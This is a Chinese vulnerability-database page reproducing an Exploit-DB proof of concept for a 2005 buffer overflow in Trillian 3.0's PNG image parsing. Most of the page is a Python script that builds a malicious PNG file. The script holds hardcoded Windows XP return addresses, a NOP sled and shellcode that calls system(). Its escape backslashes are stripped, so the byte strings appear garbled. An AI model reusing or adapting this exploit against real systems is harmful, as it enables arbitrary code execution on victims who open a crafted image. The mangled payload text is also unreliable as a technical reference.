Cerulean Studios Trillian 3.0 – Remote ‘.png’ Image File Parsing Buffer Overflow

漏洞ID	1054943	漏洞类型
发布时间	2005-03-02	更新时间	2005-03-02
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/25181

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/12703/info

A remote buffer overflow vulnerability affects Cerulean Studios Trillian. This issue is due to a failure of the application to securely copy image data into finite process buffers.

An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that activated the vulnerable application. 

#########################################
#                                                                                        #
#                      See-security Technologies ltd.                       #
#                                                                                        #
#                      http://www.see-security.com                         #
#                                                                                        #
#########################################
#                                                                                        #
#   Trillian 3.0 PNG Image Processing Buffer overflow Exploit   #
#                                                                                        #
#                                                                                        #
#                Discovered and coded by: Tal zeltzer                   #
#                                                                                        #
#########################################

import sys
import struct

# Addresses are compatible with Windows XP Service Pack 1
ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll 
SystemAddress = 0x77C28044 # Address Of the system() function

# PNG Header
PngOfDeath = "x89x50x4Ex47x0Dx0Ax1Ax0Ax00x00x00x0Dx49x48x44x52"
PngOfDeath += "x00x00x00x40x00x00x00x40x08x03x00x00x00x9DxB7x81"
PngOfDeath += "xECx00x00x01xB9x74x52x4Ex53"

# Nops
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90"

# system(calc) shellcode
PngOfDeath += "x33xC0x50x68x63x61x6cx63x54x5bx50x53xb9"
PngOfDeath += struct.pack("<L",SystemAddress)
PngOfDeath += "xFFxD1"

# Junk Data
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

# Return Address
PngOfDeath += struct.pack("<L",ReturnAddress)

# Jump Back Shellcode
PngOfDeath += "x54x59xFExCDx89xE5xFFxE1"

# End Of File
PngOfDeath += "x90x90x90x59xE8x47xFExFFxFF"

fileOut = open("Trillian.png","wb")
fileOut.write(PngOfDeath)
fileOut.close()

相关推荐: MS Visual Studio RAD Support Buffer Overflow Vulnerability

MS Visual Studio RAD Support Buffer Overflow Vulnerability 漏洞ID 1103164 漏洞类型 Boundary Condition Error 发布时间 2001-06-21 更新时间 2001-06…